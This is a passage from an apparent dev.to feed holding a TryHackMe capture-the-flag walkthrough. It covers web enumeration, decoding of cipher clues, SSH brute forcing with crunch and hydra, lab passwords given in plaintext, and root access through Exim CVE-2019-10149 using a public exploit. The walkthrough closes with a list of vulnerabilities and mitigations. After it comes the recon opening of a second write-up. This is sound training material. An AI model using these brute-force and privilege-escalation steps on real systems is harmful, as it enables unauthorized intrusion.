&lt;p&gt;The SSL cert's &lt;code&gt;commonName=adventure-time.com&lt;/code&gt; is the clue. Added &lt;code&gt;adventure-time.com&lt;/code&gt; to &lt;code&gt;/etc/hosts&lt;/code&gt;. Gobuster against the HTTPS service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gobuster dir -u https://MACHINE_IP/ -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;candybar    (Status: 301) [Size: 321] [--&amp;gt; https://MACHINE_IP/candybar/]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -k https://MACHINE_IP/candybar/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Where is Jake?&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"finn-2.png"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"the magic word"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"width: 100%"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;&amp;lt;!-- KBQWY4DONAQHE53UOJ5CA2LXOQQEQSCBEBZHIZ3JPB2XQ4TQNF2CA5LEM4QHEYLKORUC4=== --&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decoding the HTML comment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo 'KBQWY4DONAQHE53UOJ5CA2LXOQQEQSCBEBZHIZ3JPB2XQ4TQNF2CA5LEM4QHEYLKORUC4===' | base32 -d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Palpnh rwtrz iwt HHA rtgixuxrpit udg rajth.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Applying Caesar cipher with shift -15 decodes to: &lt;strong&gt;"ALWAYS CHECK THE SSL CERTIFICATE FOR CLUES"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The certificate confirmed &lt;code&gt;adventure-time.com&lt;/code&gt; / &lt;code&gt;land-of-ooo.com&lt;/code&gt; as the target domain.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Enumerating land-of-ooo.com
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ffuf -u https://land-of-ooo.com/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;yellowdog    [Status: 301, Size: 322]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -k https://land-of-ooo.com/yellowdog/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;To find a password&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"jake-2.png"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"what is the password?"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"width: 100%"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ffuf -u https://land-of-ooo.com/yellowdog/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bananastock    [Status: 301]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;/yellowdog/bananastock/&lt;/code&gt; page displayed two Banana Guards with their password rendered as Morse code using &lt;code&gt;/&lt;/code&gt; as dot delimiter and &lt;code&gt;\&lt;/code&gt; as word delimiter. Decoded in CyberChef (From Morse Code, Letter delimiter: Forward slash, Word delimiter: Backslash):&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"THE BANANAS ARE THE BEST!!!"&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ffuf -u https://land-of-ooo.com/yellowdog/bananastock/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;princess    [Status: 301]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -k https://land-of-ooo.com/yellowdog/bananastock/princess/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;What secret safe?&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;&amp;lt;!--
Secrettext = 0008f1a92d287b48dccb5079eac18ad2a0c59c22fbc7827295842f670cdb3cb645de3de794320af132ab341fe0d667a85368d0df5a3b731122ef97299acc3849cc9d8aac8c3acb647483103b5ee44166
Key = my cool password
IV = abcdefghijklmanopqrstuvwxyz
Mode = CBC
Input = hex
Output = raw
--&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decrypted in CyberChef (AES Decrypt, CBC, Hex input):&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"the magic safe is accessibel at port 31337. the magic word is: ricardio"&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Port 31337 - get SSH username
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nc MACHINE_IP 31337
Hello Princess Bubblegum. What is the magic word?
ricardio
The new username is: apple-guards
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6. SSH as apple-guards
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ssh apple-guards@land-of-ooo.com
apple-guards@land-of-ooo.com's password: THE BANANAS ARE THE BEST!!!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;apple-guards@at:~$ whoami
apple-guards
apple-guards@at:~$ id
uid=1009(apple-guards) gid=1009(apple-guards) groups=1009(apple-guards)
apple-guards@at:~$ cat flag1
tryhackme{REDACTED}
apple-guards@at:~$ cat flag.txt
tryhackme{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checked mail:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;apple-guards@at:~$ cat mbox
From: marceline@at
Subject: Need help???

Hi there bananaheads!!!
I heard Princess B revoked your access to the system. Bummer!
But I'll help you guys out.....doesn't cost you a thing.....well almost nothing.
I hid a file for you guys. If you get the answer right, you'll get better access.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;apple-guards@at:~$ find / -type f -user marceline 2&amp;gt;/dev/null
/etc/fonts/helper
apple-guards@at:~$ ls -la /etc/fonts/helper
-rwxr-x--- 1 marceline apple-guards 16616 sep 20  2019 /etc/fonts/helper
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7. Marceline's helper puzzle - Vigenère decode
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;apple-guards@at:~$ /etc/fonts/helper
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;======================================
      BananaHead Access Pass
       created by Marceline
======================================

The key to solve this puzzle is gone
And you need the key to get this readable: Gpnhkse

Did you solve the puzzle? yes

What is the word I'm looking for? Abadeer

That's it!!!! You solved my puzzle
Don't tell princess B I helped you guys!!!
My password is 'My friend Finn'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Vigenère decode of &lt;code&gt;Gpnhkse&lt;/code&gt; with key &lt;code&gt;gone&lt;/code&gt; (CyberChef) → &lt;strong&gt;"Abadeer"&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  8. SSH/su as marceline
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;apple-guards@at:~$ su marceline
Password: My friend Finn
marceline@at:~$ cat flag2
tryhackme{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;marceline@at:~$ cat I-got-a-secret.txt
...
111111111100100010101011101011111110101111111111011011011011000001101001001011111111111111001010010111100101000000000000101001101111001010010010111111110010100000000000000000000000000000000000000010101111110010101100101000000000000000000000101001101100101001001011111111111111111111001010000000000000000000000000001010111001010000000000000000000000000000000000000000000001010011011001010010010111111111111111111111001010000000000000000000000000000000001010111111001010011011001010010111111111111100101001000000000000101001111110010100110010100100100000000000000000000010101110010100010100000000000000010100000000010101111100101001111001010011001010010000001010010100101011100101001101100101001011100101001010010100110110010101111111111111111111111111111111110010100100100000000000010100010100111110010100000000000000000000000010100111111111111111110010100101111001010000000000000001010
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The binary string is Spoon (an esoteric Brainfuck-derived language using only &lt;code&gt;+&lt;/code&gt;, &lt;code&gt;-&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;[&lt;/code&gt;, &lt;code&gt;]&lt;/code&gt;, &lt;code&gt;.&lt;/code&gt;, &lt;code&gt;,&lt;/code&gt; encoded as binary). Decoded via dCode's Spoon interpreter:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"the magic word you are looking for is ApplePie"&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  9. Port 31337 again - get peppermint-butler password
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nc land-of-ooo.com 31337
Hello Princess Bubblegum. What is the magic word?
ApplePie
The password of peppermint-butler is: That Black Magic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10. su peppermint-butler
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;marceline@at:~$ su peppermint-butler
Password: That Black Magic
peppermint-butler@at:~$ cat flag3
tryhackme{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;peppermint-butler@at:~$ ls -la
-rw-------  1 peppermint-butler peppermint-butler 85555 sep 21  2019 butler-1.jpg
-rw-r-----  1 peppermint-butler peppermint-butler    28 sep 22  2019 flag3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;peppermint-butler@at:~$ find / -type f -user peppermint-butler 2&amp;gt;/dev/null | grep -v proc
/usr/share/xml/steg.txt
/etc/php/zip.txt
/home/peppermint-butler/flag3
/home/peppermint-butler/butler-1.jpg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;peppermint-butler@at:~$ cat /usr/share/xml/steg.txt
...
The password of my secret file is 'ToKeepASecretSafe'
peppermint-butler@at:~$ cat /etc/php/zip.txt
...
The password of my secret file is 'ThisIsReallySave'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two different passwords - one for steghide, one for the zip.&lt;/p&gt;

&lt;p&gt;Served the image to the attacker machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;peppermint-butler@at:~$ python3 -m http.server 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;wget http://land-of-ooo.com:8000/butler-1.jpg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;steghide extract -sf butler-1.jpg
Enter passphrase: ToKeepASecretSafe
wrote extracted data to "secrets.zip".
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;unzip secrets.zip
[secrets.zip] secrets.txt password: ThisIsReallySave
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat secrets.txt
...
I think I saw him type in something.
It was unclear, but it was something like 'The Ice King s????'.
The last 4 letters where a blur.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11. Bruteforce gunter's SSH password
&lt;/h3&gt;

&lt;p&gt;Peppermint Butler's image had no useful EXIF. The hint from secrets.txt gives a partial password pattern for user &lt;code&gt;gunter&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;crunch 18 18 -t 'The Ice King s@@@@' &amp;gt; pass.txt
Crunch will now generate the following number of lines: 456976
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hydra -l gunter -P pass.txt -t 4 ssh://MACHINE_IP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[22][ssh] host: MACHINE_IP   login: gunter   password: The Ice King sucks
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12. su/SSH as gunter
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;peppermint-butler@at:~$ su gunter
Password: The Ice King sucks
gunter@at:~$ id
uid=1007(gunter) gid=1007(gunter) groups=1007(gunter),1012(gcc)
gunter@at:~$ cat flag4
tryhackme{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;gunter is in the &lt;code&gt;gcc&lt;/code&gt; group. Checking SUID binaries:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gunter@at:~$ find / -perm -4000 2&amp;gt;/dev/null
/usr/sbin/exim4
...
gunter@at:~$ ls -la /usr/sbin/exim4
-rwsr-xr-x 1 root 1011 1140200 feb 14  2018 /usr/sbin/exim4
gunter@at:~$ exim4 --version
Exim version 4.90_1 #4 built 14-Feb-2018 16:01:14
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Exim 4.90_1 is vulnerable to CVE-2019-10149 (local privilege escalation via RCPT TO command injection). Exim was listening on localhost port 60000 (confirmed from &lt;code&gt;/etc/exim4/update-exim4.conf.conf&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gunter@at:~$ ss -tlnp | grep 60000
LISTEN   0   20   127.0.0.1:60000   0.0.0.0:*
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13. CVE-2019-10149 - SUID exim4 LPE to root
&lt;/h3&gt;

&lt;p&gt;Used the public PoC (exploit-db 46996), modified the &lt;code&gt;exec 3&amp;lt;&amp;gt;/dev/tcp/localhost/25&lt;/code&gt; line to point to port 60000:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gunter@at:~$ nano cve-2019-10149.sh
gunter@at:~$ bash cve-2019-10149.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;raptor_exim_wiz - "The Return of the WIZard" LPE exploit

Preparing setuid shell helper...
Delivering setuid payload...
220 at ESMTP Exim 4.90_1 Ubuntu Tue, 22 Sep 2026 13:44:25 +0200
250 at Hello localhost [127.0.0.1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=1x8yvB-0001gJ-SI
221 at closing connection

Waiting 5 seconds...
-rwsr-xr-x 1 root gunter 8504 sep 22 13:44 /tmp/pwned
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1007(gunter),1012(gcc)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  14. Final flag - BMO reset code
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# cd /home/bubblegum/Secrets
# cat bmo.txt
Secret project number: 211243A
Name opbject: BMO
Rol object: Spy

In case of emergency use resetcode: tryhackme{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Sensitive data in EXIF metadata&lt;/strong&gt; - Binary-encoded credentials/clues were embedded in the XP Comment field of publicly accessible FTP images, relying on obscurity rather than any real access control.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Unauthenticated multi-stage web puzzle leaking credentials&lt;/strong&gt; - The &lt;code&gt;land-of-ooo.com&lt;/code&gt; web chain encoded the SSH username and password behind several layers of encoding (Morse, AES, base32+Caesar) with all decryption parameters embedded in the HTML comments of the same pages. The AES key, IV, mode, and ciphertext were all provided in the same page source.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Weak access-control binary (&lt;/strong&gt;&lt;code&gt;/etc/fonts/helper&lt;/code&gt;&lt;strong&gt;)&lt;/strong&gt; - An executable owned by &lt;code&gt;marceline&lt;/code&gt; was accessible to the &lt;code&gt;apple-guards&lt;/code&gt; group and unconditionally printed a password after the user answered a trivial cipher puzzle, with no authentication.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Credentials embedded in a Spoon script stored in a readable file&lt;/strong&gt; - The peppermint-butler password was obtainable by anyone who could read &lt;code&gt;I-got-a-secret.txt&lt;/code&gt; in Marceline's home directory and knew how to decode Spoon.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Steganography as the only secret protection&lt;/strong&gt; - The gunter password hint was hidden in &lt;code&gt;secrets.zip&lt;/code&gt; behind a steghide-extracted image; once the steghide and zip passwords were found in world-readable files (&lt;code&gt;/usr/share/xml/steg.txt&lt;/code&gt;, &lt;code&gt;/etc/php/zip.txt&lt;/code&gt;), the hint was trivially extractable.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Weak partial-password pattern enabling brute-force&lt;/strong&gt; - The password &lt;code&gt;The Ice King sucks&lt;/code&gt; followed a known prefix (&lt;code&gt;The Ice King s&lt;/code&gt;) with only four lowercase letter positions unknown, making a 456,976-candidate wordlist trivial to generate and brute-force over SSH.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SUID root exim4 vulnerable to CVE-2019-10149&lt;/strong&gt; - Exim 4.90_1, running as a SUID-root binary, contains a command injection flaw in RCPT TO address handling (The Return of the WIZard). Any local user who can reach the SMTP port can exploit this to execute arbitrary commands as root.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Never embed credentials, encoding keys, or puzzle answers in publicly accessible metadata (EXIF), HTML comments, or world-readable files. Use proper secrets management.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Do not rely on multi-layer encoding (Morse, Caesar, AES with embedded keys) as a substitute for authentication. Credentials should be gated by actual access controls, not obscurity.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Restrict access to password-revealing helper binaries to specific authenticated users rather than entire groups, and require stronger proof of identity than a trivial cipher puzzle.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Keep all network-facing and SUID services patched. Exim 4.90_1 was already known-vulnerable at the time of room creation (CVE-2019-10149 was published in June 2019); updating to a patched release removes the LPE entirely.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Avoid using predictable password patterns (known prefix + short suffix). Enforce a password policy that prevents partial-knowledge brute-force attacks.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Run mail transfer agents (like exim) as unprivileged users rather than with SUID root; use capability-based privilege separation instead.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe: Python Playground Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 22 Sep 2026 12:09:44 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-python-playground-writeup-42dn</link>
      <guid>https://dev.to/exploitnotes/tryhackme-python-playground-writeup-42dn</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Python Playground is a hard-rated TryHackMe box built around a "sandboxed" Python code execution service fronted by a Node.js/Express web app. The site advertises a blacklist-based filter that supposedly prevents arbitrary code execution, but the filter can be bypassed using Python's &lt;code&gt;__import__()&lt;/code&gt; builtin to dynamically load &lt;code&gt;os&lt;/code&gt;/&lt;code&gt;subprocess&lt;/code&gt; without triggering the blacklisted keywords. This gives remote code execution as &lt;code&gt;root&lt;/code&gt; on the box running the web service, and a custom two-pass Caesar-style cipher recovered from a leftover Python REPL transcript yields SSH credentials for a second user, &lt;code&gt;connor&lt;/code&gt;. Only after landing both shells does it become clear the RCE shell is actually inside a Docker container rather than the host itself - a fact confirmed by checking for Docker tooling on that shell. From there, a log-mount misconfiguration (&lt;code&gt;/var/log&lt;/code&gt; on the host is bind-mounted into the container at &lt;code&gt;/mnt/log&lt;/code&gt;) is abused to plant a SUID root binary on the host filesystem, which &lt;code&gt;connor&lt;/code&gt; can then execute for a full container-to-host privilege escalation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Recon
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; MACHINE_IP &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Open MACHINE_IP:22
Open MACHINE_IP:80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; MACHINE_IP &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80 &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_  256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: Python Playground!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://MACHINE_IP/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Secure Python Playground&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
...
Introducing the new era code sandbox; python playground!
Normally, code playgrounds that execute code serverside
are easy ways for hackers to access a system. Not anymore!
With our new, foolproof blacklist, no one can break into our
servers, and we can all enjoy the convenience of running our
python code on the cloud!
...
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"login.html"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Login&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"signup.html"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Sign up&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;login.html&lt;/code&gt; and &lt;code&gt;signup.html&lt;/code&gt; both return a "site is admin-only right now" placeholder page.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Content discovery
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; http://MACHINE_IP/ &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt &lt;span class="nt"&gt;-x&lt;/span&gt; html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;admin.html           (Status: 200) [Size: 3134]
index.html           (Status: 200) [Size: 941]
login.html           (Status: 200) [Size: 549]
signup.html          (Status: 200) [Size: 549]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;admin.html&lt;/code&gt; (larger size) led to further probing that surfaced the actual code-execution endpoint (not part of the common wordlist), reached directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
